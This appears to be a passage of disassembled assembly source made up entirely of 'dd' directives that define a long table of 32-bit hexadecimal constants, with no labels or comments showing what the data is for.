dd 5F913573h, 51172709h, 0C99A2866h, 737A5B0Bh, 0BDC7B720h
dd 504CCD8h, 784B5429h, 0BEED782h, 42486257h, 48F37F31h
dd 3BBBE941h, 9019E769h, 20F22FECh, 3117F338h, 0CE04D001h
dd 290FCF68h, 0B494FC73h, 0D9166A85h, 2D299FE4h, 0A79A58C3h
dd 0C9E2AE6h, 0FE95E942h, 91A0276Dh, 0E8289AB5h, 528F7CB7h
dd 0B79F94DDh, 0A204CED8h, 0E63042B6h, 2D1ACBAEh, 0E49EF050h
dd 9DE912E8h, 178BEA8Dh, 0A704904Ch, 94BD03Ch, 0AD8E5322h
dd 0FA2007CCh, 67CD983Fh, 0C3522F67h, 0AF02308Ah, 2F280EC5h
dd 0A0D87760h, 0F5E97FEh, 0FDD38EA8h, 4C6DC54Ch, 3084FEFh
dd 0D96F5404h, 0A8A8ED51h, 0E23EDF13h, 5077753Eh, 750BB875h
dd 7D4284E9h, 0DBB34BB8h, 355B8CB0h, 41F0BE98h, 50046B15h
dd 0B90A6ADBh, 0BEF60B9h, 58134713h, 0EE0ECF01h, 0D4B2D69Ah
dd 0B51F7378h, 0A46EDA7Bh, 41A28DD7h, 0C89BAE4Ah, 0BEA6E916h
dd 16507E8Ah, 0BBD7407Dh, 9A38810Bh, 845C584Eh, 0FF514E75h
dd 17C7EC50h, 0D62136C8h, 0AE146073h, 11CB0BADh, 7DEB8BE8h
dd 0AFA5B09Dh, 907D9722h, 0A4C10987h, 0D7C318C1h, 7B650B46h
dd 90F501F4h, 6816EB10h, 8B32EEBFh, 66579057h, 10F026BBh
dd 0B5422DCCh, 3A09055Bh, 419877C5h, 0DBB540B0h, 16F02C07h
dd 2A784132h, 2A08190Dh, 1E7A2CBFh, 6AD67317h, 8444EE0Ah
dd 1249C181h, 0A43EF535h, 85A89BCh, 0C8DE4EEDh, 5D0E2D30h
dd 0DABAE557h, 0FCA8E834h, 0BE201D32h, 0D13AEB77h, 33436864h
dd 0A5048325h, 4B403FB0h, 31AFC817h, 0C014AA88h, 6ADCE731h
dd 0D59D2893h, 2D77BCA0h, 0CC15AD8h, 4C463E76h, 0ED42092Eh
dd 79257776h, 19CB4FCAh, 6EDF4D91h, 1AF52BBCh, 0D677C456h
dd 97FCA0C7h, 0D6EBBF65h, 937E2F94h, 2AA2BC2h, 657AC729h
dd 6CACC624h, 6538778Ch, 38575D68h, 0F35E5BC9h, 0B8F0AC2h
dd 17A47800h, 419F114Ah, 37FD45CCh, 0A8284EF3h, 0D2C74FC5h
dd 801999D2h, 51075E87h, 902D002Bh, 0E93D9344h, 1497CC41h
dd 92F9F83Eh, 800A9572h, 48360D05h, 19AAB7B1h, 0C48DDAB2h
dd 2B832756h, 0FCA096D5h, 0C8455FA4h, 0F27684Ah, 25B6E64Fh
dd 3371E2C4h, 56E7D789h, 9444CF9Fh, 7768B916h, 0B0FEB327h
dd 80D42632h, 5A0FED81h, 690D346Fh, 193605Dh, 29FD9DF0h
dd 0A0B64140h, 0C17E90ECh, 5560FA0Ch, 0C78A4337h, 98F24903h
dd 0C35BA1Eh, 0A115950Ch, 0D55C2F54h, 89BED6F9h, 0FFAD7A56h
dd 26FB4E7Eh, 3BEC1FDEh, 0FD346727h, 0FA7F2F89h, 0AEF84B61h
dd 3A684C91h, 0E75718A7h, 5819ADB3h, 8CD5559Eh, 0C094969h
dd 5577025h, 23C3D16Fh, 0E3FF8547h, 60EED359h, 34875F43h
dd 0E2797CBFh, 0D014D5Dh, 1F0112Dh, 3E43B951h, 0F4F12F2Fh
dd 7E673D83h, 41E46756h, 80867105h, 1DFEE891h, 0CECD0BCh
dd 0E80F1967h, 24E03831h, 0D75B2190h, 1F2AACB0h, 8C0A734Bh
dd 301CBC32h, 6866D805h, 19C95246h, 1644EB2Fh, 22D7E8E9h
dd 4DE700FBh, 4E0E9858h, 868A8389h, 16A2AFDDh, 136A44Fh
dd 689276BDh, 9501666h, 0BE73210Ch, 0C2265EA7h, 67F61274h
dd 6CAC04CBh, 7FC1EE12h, 0D056476h, 8D0A12D9h, 0DFBE526h
dd 0D52D5640h, 2BF32715h, 0E959575Ch, 180FBC3Bh, 0E49AC101h
dd 7D16B757h, 4564EB98h, 0BCE8C1D9h, 0ED1ECB12h, 0FF1FF4BFh
dd 0E54EDF42h, 9AEAFF50h, 6BD647DFh, 0F8B5E27Dh, 183B09DCh
dd 82896EC5h, 0E1BEC602h, 0D9A06D7Ah, 11252138h, 82131A6Dh
dd 647930FBh, 616AEE9Eh, 0E8C16825h, 0D3F5FD12h, 0AAACF4FFh
dd 4DF4A899h, 2CA792ADh, 6A7E6470h, 1A9D0025h, 0B1BA71FBh
dd 7C291326h, 5763E22Fh, 0BE13ADC5h, 0E9C680EFh, 9E9E78D1h
dd 0D7164982h, 40A5402Eh, 15F41D0Bh, 0AD5B26E9h, 0DF410648h
dd 84A0D9B1h, 6E23270Ch, 6306C217h, 77679040h, 6CE91C98h
dd 80626D4Ch, 0B9C8D293h, 2CE79A21h, 3C59D1E2h, 68208B5Ch
dd 0CAFB017Eh, 95741057h, 0A8F9C545h, 5635CC58h, 50867CBDh
dd 8094B4E0h, 0E888A452h, 5E2CCAB8h, 0E329428Ah, 86648A76h
dd 0F71260BCh, 8B02EAD3h, 76E628C1h, 0BDBA83CDh, 80C448CCh
dd 11093D26h, 0C8C2514Fh, 55088BEAh, 7B67F6E9h, 8BEB8216h
dd 18E4C1Dh, 0DC274868h, 0E6F85E73h, 0F7390F7Fh, 0E5F3E971h
dd 0EE970571h, 0E8EA24C4h, 0C9D3CF35h, 13D104DAh, 20B6B701h
dd 845F7CFAh, 0C788E051h, 205F4173h, 53E657FFh, 485087E7h
dd 0E9714A15h, 0F73E0C16h, 7A8D4581h, 0D1E46BFDh, 5809A782h
dd 284E73B8h, 0E9A0F5A2h, 46B70FE1h, 396827E6h, 0A025E55Fh
dd 2FF6BD9Fh, 8724B226h, 0F02BDCAFh, 1C5F4F09h, 425E59F7h
dd 41ECE998h, 7F4D3049h, 0BAA8B617h, 449250E2h, 0C02AFAC0h
dd 25E93B39h, 4CFD5947h, 0B12568CCh, 0FCFC245Ah, 0AD27FE12h
dd 0FEBD7DA4h, 790B6E14h, 684FA96h, 9B0035B1h, 3C6A1206h
dd 2ED80146h, 0FC750470h, 0AEEDC102h, 0A00B34C6h, 30E208B5h
dd 5238BB95h, 71278A37h, 37C4229h, 0D6F4E908h, 0DAB3177Eh
dd 92FE1EC0h, 0BABFC496h, 0A6BB7C24h, 0A9A84E79h, 0DAC83C27h
dd 0CF031551h, 0E2C15A55h, 2CD63502h, 7E3B043Ah, 0C51F1212h
dd 5D69CBA4h, 68586A79h, 926F4B37h, 0C30FDB90h, 0A03D18BFh
dd 7962EF81h, 0DF293271h, 5B07C710h, 39ECBDE1h, 0D8C51487h
dd 0CC8CF90Bh, 5F81ED10h
dd 538DC32Ah, 34FE5DEBh, 872C4B7Ah, 0BA06BEDDh, 31306101h
dd 0B4809EC2h, 0C55207F8h, 43ECF70Eh, 5113BC60h, 0E1177B9h
dd 0D1F77E88h, 85E9D94Fh, 0EDB16D70h, 9C657D27h, 2B5797CEh
dd 7E733DFCh, 0BF73B61Ch, 0A7756BA6h, 7C72B9D4h, 73C60BD8h
dd 77293AD7h, 5B58ACB0h, 139FE913h, 0CBF167AAh, 5E69BC75h
dd 0CA799081h, 6AB80959h, 82808E9Ah, 27006E92h, 4FF18134h
dd 0B06C893Bh, 0BF9C4BF1h, 6857C870h, 1D1A4D8Ch, 1DF3B884h
dd 4EAD0F55h, 83C5AB81h, 80FF5A02h, 0C06E3A7Ch, 3790C91Bh
dd 0F789E598h, 0EF02A898h, 2FA2B5D5h, 0A4B0DF57h, 4482B6B3h
dd 9CD8F25Fh, 1D59257Bh, 8532076Bh, 0E8CCF939h, 1CFB08A2h
dd 4ED3880Ch, 797782D6h, 1DC7A8BCh, 9777585Fh, 0ACC5BAEBh
dd 47E9A381h, 0F94FEB78h, 0D921C4AAh, 735F5122h, 6001443Eh
dd 980AE9C1h, 622E2F33h, 5ED6E2ABh, 1440D3A8h, 50C50780h
dd 0B2EB2858h, 9656902Ch, 5A25406Ch, 7C952DAh, 156E863Dh
dd 0AE78AB69h, 6F638E9h, 9C38EB5Fh, 0CAFA5A01h, 9D95924h
dd 0A09F7BE9h, 0CB3CDC44h, 0CF012615h, 0EBD40C29h, 709FD18Fh
dd 47FC9514h, 0F7376FCFh, 0E60B3CF9h, 0E720C556h, 3B2A6D96h
dd 0E9161898h, 0C6A63A19h, 0B6DA363Eh, 0A2A24A28h, 0F67C29C9h
dd 724D712Fh, 0DCAF45C5h, 51557216h, 0B2E98967h, 0DEBD9370h
dd 6855D826h, 2332DE01h, 0BAE95D2Bh, 78FDE32Eh, 0FBE0BB2Fh
dd 65E961CCh, 11402F41h, 0EE50FBC2h, 5AD00A31h, 1693C689h
dd 0B592BC8Ah, 0ED4B38BBh, 41760344h, 0A4DA07C2h, 33B80060h
dd 581EF555h, 0B4586C09h, 2EA6F24Ah, 2116DFB4h, 690C8CA4h
dd 3881BDE5h, 0BE0BBD31h, 9DAAF1Ch, 35C281BBh, 0F36F11C0h
dd 589E6458h, 26C3680h, 7C1C58C7h, 1D4A8000h, 8BE6E921h
dd 0DDF359C0h, 9D35F47Dh, 0D19DC5F1h, 89DBF78Ah, 0A984C91Ch
dd 0DDFB295Dh, 0A3B82ECAh, 0B0C1BFD2h, 1AC223D2h, 0F8405174h
dd 9B3662E9h, 0A50513F2h, 4F676013h, 1E4BBF80h, 8D0CBB6Eh
dd 1141B02h, 251FD3EDh, 4B522CF9h, 2E1269AEh, 0A64E05F9h
dd 207258F7h, 4EE92F10h, 0F381B3D4h, 0EF67D847h, 536A92Fh
dd 4D266574h, 8D714D87h, 393CBC8Bh, 60134417h, 720DAD55h
dd 15056303h, 2DA95121h, 72947AB8h, 75555D27h, 732F3217h
dd 7C350CB4h, 0E55E46B7h, 0D0C502F8h, 0F986B561h, 0C24C0743h
dd 453318C9h, 0CE1D0C5Fh, 2AC83C24h, 1B2CB13h, 112A05Bh
dd 726C7F2Eh, 76B100C9h, 0C7174003h, 62FB3B0Ch, 0FC68517Ch
dd 7F0A5C7Eh, 62D5849h, 26BD627h, 32202F2Ch, 0F33DCC5Eh
dd 0D48AF225h, 6005E0CCh, 305AA975h, 7073BA1h, 4462F759h
dd 18BD9677h, 4C6797E9h, 5303D2F6h, 0E78057B7h, 61C798F3h
dd 0BFFA4A30h, 1F22E28h, 0B05066F7h, 68CDE989h, 0DECA5BDEh
dd 0FE20C046h, 2D149C48h, 0DA40A00Ah, 7C32343Ah, 47B12D48h
dd 0E9D8817Ch, 9D0BEEAh, 0F596F829h, 2586FF97h, 44A0611Eh
dd 2A22161Ch, 0D6F70775h, 0B09A668h, 4C16E67Fh, 5ECA41FFh
dd 3CE640DAh, 23160105h, 1044CE87h, 0BE1736CCh, 0EA5A3FDEh
dd 8C689669h, 531682E6h, 50036D68h, 64B5B12h, 840AA36h
dd 0EE0B0C7Dh, 7F702C82h, 0B0E94682h, 335C8BDFh, 6D77D9C5h
dd 6D39BB2Eh, 999E3BFCh, 222F02E1h, 0C68E381Bh, 130E4C22h
dd 61D0C7Fh, 0E8D13C08h, 0BC04F172h, 0BB222687h, 0DF170C12h
dd 0ACD6C4B2h, 5E6938h, 1628EC1h, 0FAE919EFh, 0DD807891h
dd 0E9FEC166h, 0C4872B16h, 0E9535989h, 38EC465Dh, 0FF4A3910h
dd 83298B8Ch, 93F053F2h, 66CCB224h, 93404810h, 908ABFBAh
dd 3C2E3C9h, 2F7DE4E1h, 8419CB8h, 98F2F07Bh, 0E3022391h
dd 0A2E249D2h, 5FC521BBh, 4869AE5Bh, 12BCC59Ch, 269710Ah
dd 0B10FB7E5h, 0BFD1516Ah, 0CE5C1109h, 96BB36Ah, 265875E9h
dd 7CAF7CB7h, 1ED9E92Ch, 180A5E95h, 0F14F777Bh, 8A031DCCh
dd 54BAC4Ah, 0AF1D3426h, 13708A41h, 1C8255DEh, 1EDB7F4Bh
dd 9FA0E4DDh, 569F25Ch, 0CFBEA79Bh, 5AED025Eh, 40DA7C9Eh
dd 0FD8B5D04h, 0BE2EBA3Eh, 0A802D265h, 0EDABA425h, 8D09FE9h
dd 0BCFD4F70h, 77EB1C33h, 405EC3C9h, 0BB699444h, 100C10ECh
dd 800C84E4h, 3706B5F1h, 0BDB0CBE0h, 46145427h, 0DDA2202Fh
dd 6D73507h, 4BA53862h, 434D79A8h, 6555E9E1h, 0C24E32C5h
dd 4754505Ch, 2A9208D3h, 0E9BABB27h, 986F185Ch, 6C4AD05Bh
dd 0D79636F9h, 9AA15B3Bh, 0E0E1F65Ch, 8BC0C141h, 6D952AEBh
dd 0DA313EAFh, 6609EDADh, 83E91F5Eh, 4A8A8284h, 8F6182E7h
dd 65258C56h, 0CC551F6Ch, 210C46B2h, 27C7D04Ch, 79537C47h
dd 44E048FFh, 0D0B3074Ah, 0D8515384h, 0ED7AB7A6h, 95CF63Bh
dd 6278E901h, 9387046h, 2841F380h, 0E406D40Dh, 9A4C2C4Fh
dd 62C928DCh, 0DEB05073h, 9812D825h, 5E7D68D1h, 0E9C9D80Ah
dd 0E113DE5Fh, 0CB5EDA2h, 0FAFF1629h, 0BD4AEBEEh, 10B7EEACh
dd 4F5F3B56h, 6B020D98h, 965FF44h, 77FBC8CFh, 30372401h
dd 45A302BFh, 0D940750Dh, 2E074FB6h, 2709E93Ah, 6A38FD0Bh
dd 95C01019h, 6D851FC5h, 0C8589550h, 5ABFA490h, 1F64F327h
dd 8D899FF4h, 0EB4A44E6h, 0D887D0A5h, 270E45FEh, 1C6D01h
dd 17E95108h, 0FECAE24Eh, 0BAD4F413h, 4570F530h, 1C5B48B5h
dd 1C06511Ah, 3F2D6557h, 0CC97B516h, 4D49989Dh, 0C139FBFh
dd 0A23167FAh, 0E9F23ABEh, 30AA505Ah, 0AB134768h, 7CB8703Bh
dd 0D08F542Dh, 1ED6C1CBh, 969781Dh, 0F7090804h, 4F69F255h
dd 8212ABEEh, 716704FFh, 49C1E651h, 86DF4F77h, 415E4A60h
dd 5295743Eh, 0E9088014h, 56596D18h, 0AC82FA46h, 1C7BFEABh
dd 2BF3BA45h, 0A702AB5Fh, 479525E9h, 827BFA1h, 52861E86h
dd 97A09090h, 881F5205h, 4BFAF6DEh, 0E1126FB8h, 0E02E8981h
dd 0CBACD7A1h, 25535EB5h, 0B224CFDh, 0BC7665BAh, 0DEF36902h
dd 0BC0B1C75h, 0EEC51365h, 0B767CBC6h, 0DC4BFCD9h, 0C8750D1h
dd 0ADCEE79Fh, 26DC27C2h, 1052008h, 0A4589FBEh, 8EE37032h
dd 378C732Ch, 9D7CE03h, 52E9C047h, 529A955Bh, 62C0FC75h
dd 0C06A30EBh, 7825CD7Ch, 4BE89779h, 0A6C14B58h, 6CCC6AA0h
dd 0EE42BB3Ah, 0FF099014h, 0DD1C3148h, 56836082h, 8D8525BDh
dd 0F709437Ch, 0C09D38D3h, 68D9BD45h, 0FA604842h, 2B7495A9h
dd 4478927h, 580BFA7Eh, 52923075h, 0E9750CB6h, 0E27FB723h
dd 0CD28F50Dh, 22F4AA0Bh, 70349540h, 0F45FE916h, 0A8FA3264h
dd 0E44AA32Ch, 6C0DFF8h, 934DD1Dh, 0C2ED71B7h, 99F514C1h
dd 0E778D917h, 0A665E04Ah, 8C061F41h, 809B4B10h, 9DE1B9A7h
dd 2E021C5Fh, 80613EE0h, 2EEBF3E5h, 25009D12h, 0A8A6578h
dd 999F0CC1h, 0FB38C864h, 0E9D12905h, 7E17EE90h, 3136CCBBh
dd 0B232F35Eh, 3D227D5Eh, 0BAE56E67h, 73A483A7h, 0FF818509h
dd 707A7FBh, 0D00E75C3h, 0F2295AE5h, 995C8FEh, 2F1C55B0h
dd 0F4AF3225h, 0CDE4EBDFh, 4C88D240h, 845B85F8h, 0B409EC37h
dd 7F1E8282h, 0A1210494h, 7016BC15h, 2B188946h, 0E9502B31h
dd 0C5BB4BC7h, 2B4D8903h, 0C12F6AA6h, 9EFFB48h, 3E862F1Dh
dd 2097E780h, 4524128h, 99634E68h, 8C7D8157h, 0B3530325h
dd 0ABA55EA5h, 0FE614F36h, 0BAB04A3Ah, 16DA1288h, 0B65E077h
dd 3E46D372h, 79D1F420h, 5DDF785Dh, 0B4042EF7h, 0ABE528B9h
dd 78ABD7C1h, 51F7E112h, 2D46004h, 61F360BCh, 661C36B8h
dd 4EE9C9ACh, 0E309AAC5h
dd 0CDE9485Fh, 1F0C1D11h, 9AE5814Ah, 20467F4Bh, 9BD20A57h
dd 8329F117h, 0FEB8C53Fh, 40E50C67h, 0BAAD3517h, 395AE04Eh
dd 5AFAC849h, 244781F0h, 2BF2A1Ch, 62A01D9Bh, 0F048CED7h
dd 0BE1505DCh, 0FA015F97h, 5F5ECFCCh, 68FB9C8Ch, 80109249h
dd 82185FBBh, 0D8599D70h, 0D053626Eh, 0CEE90008h, 6948F745h
dd 61500222h, 0F4213873h, 82D516A7h, 72E04347h, 0CF2F3D1Dh
dd 8220FD72h, 26071BE2h, 73904F71h, 12F21F4Ah, 12B34E84h
dd 2F324490h, 0F630C6C9h, 2D051A13h, 28EC3756h, 0ECAF2084h
dd 2D28A967h, 0DFE8EFB4h, 72E9D0C1h, 90A83B67h, 13F669C6h
dd 5351E302h, 0A06C7868h, 19E1BE34h, 0BC7C4EEDh, 932E504Ah
dd 0FA96404h, 82AACE21h, 6C770230h, 4B041D0Fh, 6E9AE8F3h
dd 0C4A51C1Ah, 0A375EE01h, 0E9858CBFh, 926A5C25h, 25EAD2B1h
dd 4096D7DCh, 394783A1h, 61BC062Ch, 0B0C5567h, 461771E4h
dd 6D4C7C81h, 89E9FCE8h, 0DB9554B2h, 0CC9F657Fh, 541EC93Ch
dd 8BC9890Dh, 4A649447h, 58EC4CD2h, 0D87FBDD9h, 0F7648C12h
dd 116D7105h, 1228CABAh, 0CCEAFE77h, 0DEBF2D4Eh, 0C3933F31h
dd 0C9FFD707h, 0C742E27Fh, 0C3310B93h, 97170749h, 71000883h
dd 0D07BCB80h, 4F05FAEBh, 683E603Bh, 94994D14h, 0A665E4EBh
dd 0ED483BAEh, 0BE9DEACBh, 0C475B2F7h, 7095B2A0h, 1632B5D3h
dd 5AC2765Dh, 4773CE86h, 392E3722h, 0D8ED8F7h, 5E47B2Fh
dd 7E90C10Fh, 3D35972Bh, 990E8CEFh, 0A6A80F9Dh, 2F4F0C10h
dd 0F1A03A0Fh, 176E13C0h, 6EE6094Ah, 0B810503h, 9EA82A0Dh
dd 7606039Ch, 4EC6E956h, 26350450h, 0FB45780Ch, 9D90C313h
dd 948C27A3h, 8E58A5A1h, 6829DEBFh, 392200A6h, 0FBBA2E78h
dd 1DD86709h, 9C4F231h, 0CC5FA12Bh, 165D84DFh, 0B3EA2AAh
dd 7502EA83h, 2C2D3396h, 4941D61Bh, 7BFFA3EAh, 0F1D2A537h
dd 0C243D1B7h, 475659C8h, 572C3FC2h, 81672576h, 0B1137599h
dd 465D04BAh, 0AB1CD7BFh, 0C229F94Ah, 98FF888h, 4405F501h
dd 3025BE13h, 781FA6AAh, 1D91CF50h, 730BF7B8h, 147FB1E9h
dd 338CB0ECh, 0F5B74280h, 72FDEDF2h, 3AB24904h, 52AF95Ah
dd 605F704Bh, 8F2D41FEh, 7BD82C82h, 0E901EDC1h, 4F7EC162h
dd 2F5DC90Fh, 48EE2A01h, 1A300D6Fh, 18131232h, 4F50EF6Bh
dd 0B1744C08h, 857B1EE9h, 8224E31Dh, 57DB23E9h, 20F448ECh
dd 2AECE34Fh, 15438084h, 0B90CDFEAh, 4392610h, 15840FD0h
dd 657F9119h, 54258945h, 6414F742h, 27119497h, 82765E5Ah
dd 0E8F5CD51h, 43F2C87Eh, 486A7517h, 40141AE4h, 0AD76BD6Dh
dd 123E573Dh, 0E0C93C47h, 157CF16Bh, 0B24EE28Ch, 0A74AD95Ch
dd 0A871655Fh, 0AB5A4BE7h, 0C9BCB222h, 0A42A059Dh, 7CBF5A7Fh
dd 0CF685864h, 0E0474762h, 46F5233Eh, 1B2A067Ah, 0B13C843Dh
dd 0DC8A12F2h, 2E3B29h, 22B25266h, 0E91AD130h, 0DF2693CAh
dd 0F4A28AB2h, 9625A58h, 0C22D11F5h, 83C92030h, 81A62FFh
dd 0D289D1FCh, 0E6BA5D2Bh, 0C05FF65Fh, 7ADE3E13h, 0E9088084h
dd 81B194AFh, 0D351BBC5h, 4530606Ch, 44AAE7B0h, 7572625Fh
dd 4A5EC85Ah, 0B7531880h, 0C7FE00C1h, 5108EFC0h, 0D9E9FAB5h
dd 2B874259h, 0C9886857h, 1EE1E6D8h, 3DD9F60Ch, 0BA4FBAE4h
dd 2BF7F344h, 611655F3h, 936BED9Eh, 5E33F50Bh, 7E094BF5h
dd 7B5926C1h, 501B6EB0h, 17D9780Fh, 0EF412A27h, 0EAA8456h
dd 0E3A24288h, 81DD0913h, 26CBE2DDh, 30E90AECh, 0BA4EEA38h
dd 2C1E78F8h, 558C134h, 4C5AB726h, 0F310E2F6h, 0FDB94A3Bh
dd 1909EA5Fh, 87FBDD5Eh, 0D649E961h, 1537FB2Eh, 2EE1A5A4h
dd 0C1A0B462h, 409802E3h, 0C341AD04h, 0BB804B36h, 50872EC6h
dd 3D9BF713h, 47AE4216h, 0AA071319h, 0CF5A1731h, 0FC525B01h
dd 77C95440h, 0EDC1F7C7h, 119CF05Dh, 33C319C0h, 0B521FD09h
dd 26F61F40h, 32497F82h, 6A98F002h, 0C9EF2F80h, 2D004A5Dh
dd 79E7E844h, 0ADF2095Fh, 28BB53C0h, 2060F329h, 64FB8D68h
dd 32F6B7F2h, 0FD180F42h, 769DC844h, 41B1622Bh, 0FFE9EB76h
dd 44E91530h, 0DC30A9BDh, 0BB5D584Dh, 4B73503Ch, 0B77F0BEBh
dd 5A484D78h, 4F202049h, 3D58EC5Eh, 0C00E2FF3h, 512DD8h
dd 5798A28h, 7AC008A0h, 44EE2AB8h, 4CFDF102h, 57AF02E9h
dd 9DF8657Eh, 9558829Bh, 2F3E4695h, 9AF447EFh, 0F992422Dh
dd 0D35D6987h, 9D7BAD29h, 7506FD0Ch, 4BD40EEDh, 0C1C22AB2h
dd 0B6600BCFh, 900F6853h, 1F40246Ah, 0F1F33D9Bh, 447F27EFh
dd 0B5D33BDh, 633A7D5Fh, 313F3D80h, 6ECD47F5h, 0FCF4D718h
dd 4B669EFEh, 81B529DFh, 0C530A9CAh, 0E4B850E4h, 0E5C122Bh
dd 0C472A401h, 0C09AEF16h, 123029F1h, 6FC7838Dh, 0C0D10106h
dd 9763CD04h, 63815A0Ch, 78BF0DA5h, 0E782EF3Fh, 7FFE4DA4h
dd 9C546B40h, 577D69E0h, 47D88DA0h, 590FCC1Fh, 0F07F1D4h
dd 42CA315Fh, 0E65BA068h, 2DD3E6FDh, 0C03F4E9h, 77B95966h
dd 480EA6B1h, 65FAF51Ch, 7EE11D84h, 0CBFB86D4h, 0F8C2ADFCh
dd 1605ECF4h, 82BB4B3Fh, 25006F77h, 237585Dh, 0D5A9051Fh
dd 0B2426E99h, 3943B07Fh, 1761927Bh, 0EF2FD368h, 4697DE71h
dd 263F9C6Ah, 873B62E3h, 10D5F830h, 0EB2F3FF9h, 6BBB0F57h
dd 0BD7EC115h, 0B6021A66h, 296D8922h, 0C52323E0h, 8013EE92h
dd 0F00E35F2h, 6DFDEF8h, 0F204BECFh, 0FE2885BAh, 0EA410CCEh
dd 0BC6A7335h, 0A76B1722h, 0BC3A7CC9h, 195DA10Bh, 4E91F26Bh
dd 0EE87D5B9h, 455F0916h, 84522B42h, 0AF9D13E9h, 0B94A98CEh
dd 96D98BB2h, 1AFF9D17h, 0A1E67D65h, 45710C9h, 0B110CF08h
dd 64CFAE4Fh, 0C17B0645h, 8F3B2787h, 53ADB783h, 66B104EBh
dd 682E914Ah, 20E3DC8Dh, 0D86A8BBCh, 0C12ED802h, 5339443h
dd 6334DAE3h, 514802Dh, 4DADBF7h, 0ED4BA85Ah, 496F0204h
dd 4EE90EEBh, 31729D22h, 5B553262h, 1C928C5h, 6BDF6659h
dd 743FE4E9h, 0D978883Bh, 5C97C771h, 0F5C58135h, 2F2D986Fh
dd 92969A4h, 0B68BE9F0h, 56821B5Eh, 0F637056Dh, 429605A4h
dd 0C47F8154h, 84B80067h, 22612839h, 2A970CDh, 0DD890607h
dd 0F9507DE9h, 59CB2802h, 0D977C380h, 3E1A628Ch, 17A1FE0Bh
dd 5601FA53h, 0CDFED5F6h, 80040E85h, 0B9B80BEDh, 177724A9h
dd 9FE50861h, 0AFE46227h, 60E66B27h, 29E0586h, 2966EC32h
dd 78F2DD8h, 0B72ED781h, 1DEC2A59h, 6CD6E987h, 0B09FEE4Fh
dd 8060467Eh, 50015866h, 88B5B353h, 0C855BD8h, 97C9E9A0h
dd 65DF9954h, 0B1054B90h, 8B5EED7Eh, 5B6C78EEh, 4140FFBFh
dd 0D97702EBh, 0B0297B04h, 5F0881CAh, 0C1C1EC3Fh, 713C709Ch
dd 611E9440h, 0ED5B5FDFh, 0B5871094h, 41768F44h, 70C03E74h
dd 30391EF5h, 4E0D6FBAh, 0B2C11743h, 70EE88AFh, 4123C360h
dd 0B0C82061h, 0BB0E0643h, 672962C3h, 0EB4B4DF0h, 1D653A00h
dd 2F413D5Fh, 21FDF9E9h, 0FA05012Fh, 0CB16806Ah, 6E30297Bh
dd 4AE30E4Fh, 0B1285E37h, 0ABD9049Dh, 4DE95FB4h, 580A68D0h
dd 1D9DA89h, 8F0659B8h, 0B9E8307Bh, 3B707D0Fh, 2A4B0CE9h
dd 4BEDECACh, 527641E5h, 3B356203h, 8302B0ADh, 312244DBh
dd 9FF06CD7h, 0F364820Eh, 0B693C27Ah, 7FD16802h, 0D3FE22EEh
dd 5E40E25Dh, 1A2C35B5h, 0E92EC7A6h, 0D2A72575h, 0ABC66BBFh
dd 0AE576E05h, 8AEEEF16h, 0DBEFD7B6h, 102C4C9Ah, 74B267Ch
dd 0A2C731FEh, 27E4C64Eh, 4E1ECA27h, 0FE6831E3h, 0E9575B45h
dd 0FD70CEDFh, 727F880Ch
dd 4052AA32h, 40B55D0Dh, 3E04D2FFh, 3E994FE3h, 70811B2Eh
dd 0B43E6368h, 0FF11801h, 70C66818h, 0BBDF9D27h, 3EC4EB2Eh
dd 125BE93Dh, 7981F315h, 25BDD758h, 0D411D5B0h, 6803E628h
dd 0F8296440h, 7AC14945h, 5DAB2D1Fh, 33109E97h, 4420734Ch
dd 42EEB904h, 0F0FF2F90h, 995B1EFh, 5B03F49Bh, 52560C00h
dd 0AD4AFB68h, 3798A04Ch, 4CD6BA71h, 6979E921h, 700045D2h
dd 496A1BB3h, 80FA5AB7h, 62F16808h, 0FB22D51Ch, 0D8AF5A04h
dd 0E895C1A3h, 96256657h, 10B763D1h, 2EF16303h, 0DADA06DBh
dd 0BE94A0EAh, 504C258Fh, 6C6B218h, 946F965h, 8B2FB0D6h
dd 0BD0F53A9h, 0A3BA4293h, 0EB9680h, 273EBFF7h, 0E2B58936h
dd 58C169D1h, 8FAD528Bh, 91D31855h, 6DFE8248h, 0DB258E00h
dd 0C1D9F75Ch, 24DA76B0h, 0D0BC3AA3h, 0A566A8D6h, 2CB510E8h
dd 0F82FE98Ch, 0B3211666h, 0BE183435h, 823AECF1h, 1B8407F5h
dd 0BBA9EAE3h, 1149E9C2h, 0F800945Fh, 0ED4C5AA6h, 389D9756h
dd 0BC7BB43Fh, 393D1116h, 0BF4880F8h, 0D32C404h, 4B10004Eh
dd 59E9029Bh, 5A1689B2h, 5076AD05h, 6C1342BCh, 42173DE8h
dd 2D6A54A1h, 0C30A6892h, 2F404F68h, 0E4D830A9h, 45F519AAh
dd 0E5A5A576h, 0B965E0ECh, 4569E51Dh, 18C981C0h, 0AB1C9515h
dd 40E0C0DBh, 0FF7A5072h, 0E9497A08h, 869C81E3h, 2A77B53Bh
dd 697EFCADh, 43820C8Eh, 0DA7E97D7h, 98278CC8h, 9C182F66h
dd 0E65AE52Ch, 53BE5E2Ah, 93BEA38Bh, 6BF5D9BBh, 62E92B05h
dd 0CEC4D758h, 45292D3Fh, 0D2800678h, 484A1B51h, 570934E8h
dd 0B6569E6Ah, 0B871E904h, 82E5FCBAh, 0C8FEF554h, 25E5A17Eh
dd 618A5C2Eh, 54434219h, 0CE876805h, 706FFF09h, 0C908D6AFh
dd 48687B21h, 0C39A3819h, 0D0743967h, 9555A9E9h, 0FBBCD979h
dd 97DB0A95h, 0ECF24CACh, 0D84E30E5h, 6A8B0D38h, 87105B28h
dd 8B7307Fh, 2D00E52Ch, 671B209Ah, 1C7C090Dh, 6A7F0E77h
dd 6C8FF579h, 52835A0Ch, 82EA8925h, 0B7BF7DFh, 163C365Ch
dd 16924C85h, 9C40D7F9h, 6B4B7F21h, 0DE79761Eh, 0B40F9B8h
dd 9A72A959h, 7D673A4h, 2F07C125h, 426E67Ch, 80980872h
dd 19FFC9A9h, 7E7FEF2Ch, 86EC2813h, 0FA28ABD6h, 0F29081DAh
dd 98995422h, 1F1ABDA4h, 4B719337h, 0E4C421D1h, 4BE664Eh
dd 81F44C0Bh, 0D8F7BD08h, 554D0E65h, 13AF5B16h, 9827045Ch
dd 0BA66012Eh, 6AE40731h, 6AB0BD17h, 0ECB52969h, 30D6B7A1h
dd 0B3B72A6h, 2409E2A4h, 45B8DB50h, 0DC54532Dh, 300929E8h
dd 23F3DFC3h, 0AEF3F50Dh, 0FB8C842Ah, 23116B40h, 5DE9102Bh
dd 0A84EFAF4h, 2FC81696h, 291706A2h, 89FCBC47h, 0C89EFD32h
